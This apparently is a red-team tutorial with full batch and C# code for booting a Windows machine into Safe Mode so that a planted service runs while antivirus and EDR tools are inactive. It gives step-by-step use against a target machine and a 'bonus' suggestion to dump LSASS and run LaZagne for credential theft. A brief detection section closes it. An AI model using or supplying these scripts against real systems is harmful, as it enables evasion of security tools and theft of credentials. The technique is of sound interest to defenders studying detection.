Bypass AV/EDR using Safe Mode

Bypass AV/EDR using Safe Mode during your Red Teaming experiments.

Several pieces of malware are using EDR/AV in safe mode to execute the malicious code and evade detection.

Safe mode scripts

DoIt.bat
UndoIt.bat
CheckSafeMode.cs
DoIt.bat
sc create CheckSafeMode binpath= "C:\Users\Public\CheckSafeMode.exe" type= own start= auto DisplayName= "CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f /v "Service"
bcdedit /set {current} safeboot Minimal
shutdown /r /f /t 00
UndoIt.bat
sc delete CheckSafeMode
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f
CheckSafeMode.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Management;
namespace CheckSafeMode
{
class Program
{
internal const int SM_CLEANBOOT = 67;
[DllImport("user32.dll")]
internal static extern int GetSystemMetrics(int smIndex);
static void Main(string[] args)
{
var IsSafeMode = GetSystemMetrics(SM_CLEANBOOT);
bool safeModeActive = Convert.ToBoolean(IsSafeMode);
if (safeModeActive)
{
ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct");
ManagementObjectCollection data = wmiData.Get();
foreach (ManagementObject virusChecker in data)
{
var AvName = virusChecker["displayName"];
var xstate = virusChecker["productState"];
var f = Convert.ToInt32(xstate);
var zz = f.ToString("X").PadLeft(6, '0');
var StatusOfAV = "";
var y = zz.Substring(2, 2);
switch (y)
{
case "00":
StatusOfAV = "OFF";
break;
case "01":
StatusOfAV = "Exipired";
break;
case "10":
StatusOfAV = "ON";
break;
case "11":
StatusOfAV = "Snoozed";
break;
default:
StatusOfAV = "Unknown";
break;
}
string text = String.Format("In SafeBoot Mode = {0} AVInstalled = {1} Status = {2} ", Convert.ToBoolean(IsSafeMode).ToString(), AvName.ToString(), StatusOfAV);
System.IO.File.WriteAllText(@"C:\Users\Public\SafeBoot.txt", text);
BcdStoreAccessor b = new BcdStoreAccessor();
b.RemoveSafeboot();
Shutdown.Restart();
}
}
//some stuff came from here
//https://gallery.technet.microsoft.com/scriptcenter/Get-the-status-of-4b748f25
}
public static bool AntivirusInstalled()
{
string wmipathstr = @"\\" + Environment.MachineName + @"\root\SecurityCenter2";
try
{
ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipathstr, "SELECT * FROM AntivirusProduct");
ManagementObjectCollection instances = searcher.Get();
return instances.Count > 0;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return false;
}
// https://stackoverflow.com/questions/25295117/use-c-sharp-bcd-wmi-provider-to-safeboot-windows?noredirect=1
public class BcdStoreAccessor
{
public const int BcdOSLoaderInteger_SafeBoot = 0x25000080;
public enum BcdLibrary_SafeBoot
{
SafemodeMinimal = 0,
SafemodeNetwork = 1,
SafemodeDsRepair = 2
}
private ConnectionOptions connectionOptions;
private ManagementScope managementScope;
private ManagementPath managementPath;
public BcdStoreAccessor()
{
connectionOptions = new ConnectionOptions();
connectionOptions.Impersonation = ImpersonationLevel.Impersonate;
connectionOptions.EnablePrivileges = true;
managementScope = new ManagementScope("root\\WMI", connectionOptions);
managementPath = new ManagementPath("root\\WMI:BcdObject.Id=\"{fa926493-6f1c-4193-a414-58f0b2456d1e}\",StoreFilePath=\"\"");
}
public void SetSafeboot()
{
ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
currentBootloader.InvokeMethod("SetIntegerElement", new object[] { BcdOSLoaderInteger_SafeBoot, BcdLibrary_SafeBoot.SafemodeMinimal });
}
public void RemoveSafeboot()
{
ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
currentBootloader.InvokeMethod("DeleteElement", new object[] { BcdOSLoaderInteger_SafeBoot });
}
}
public class Shutdown
{
public static void Restart()
{
StartShutDown("-f -r -t 5");
}
/// <summary>
/// Log off.
/// </summary>
public static void LogOff()
{
StartShutDown("-l");
}
/// <summary>
/// Shutting Down Windows
/// </summary>
public static void Shut()
{
StartShutDown("-f -s -t 5");
}
private static void StartShutDown(string param)
{
ProcessStartInfo proc = new ProcessStartInfo();
proc.FileName = "cmd";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.Arguments = "/C shutdown " + param;
Process.Start(proc);
}
}
}
}

Reference: https://github.com/sirpedrotavares/CheckSafeBoot

Step by step

Initially, the scripts need to be uploaded into the target machine: C:\users\public

In short, the CheckSafeMode.cs script will try to identify the security AV/EDR, check if it is running, and put the machine in save mode and, restart the machine.

Here, how we can compile the CS file:

:> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc CheckSafeMode.cs

After compiling the file, we need to run the DoIt.bat file as administration rights. This script will create the service and modify some registry keys that are essential to run the service in safe mode and boot it into safe mode.

As observed above, after add the registry keys the machine is rebooted. When it comes up, it runs the exe file we have compiled to check if the security tools are running, removes safeboot option and then restarts. It takes about 30 seconds to finish.

We got it! 😎

After it reboots out of safe mode, we can log back in and see the file it created with the output of the exe.

This lets us know about the security product and if it is running. The results below are for defender. EDR vendor results are much more interesting.

Removing safe mode service (house cleaning)

Finally, we can run undoit.bat to remove the service we have created and also remove the registry key.

Bonus: LSASS dump + LaZagne

Of course, we can use this technique to dump LSASS in safe mode, LaZagne, BloodHound ingestor and everything you want/need.

Detection / Defenses

Looking for changes in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot

Consider checking if the EDR runs in safe mode. If it doesn’t, check with your vendor to see what they recommend to detect this technique.

References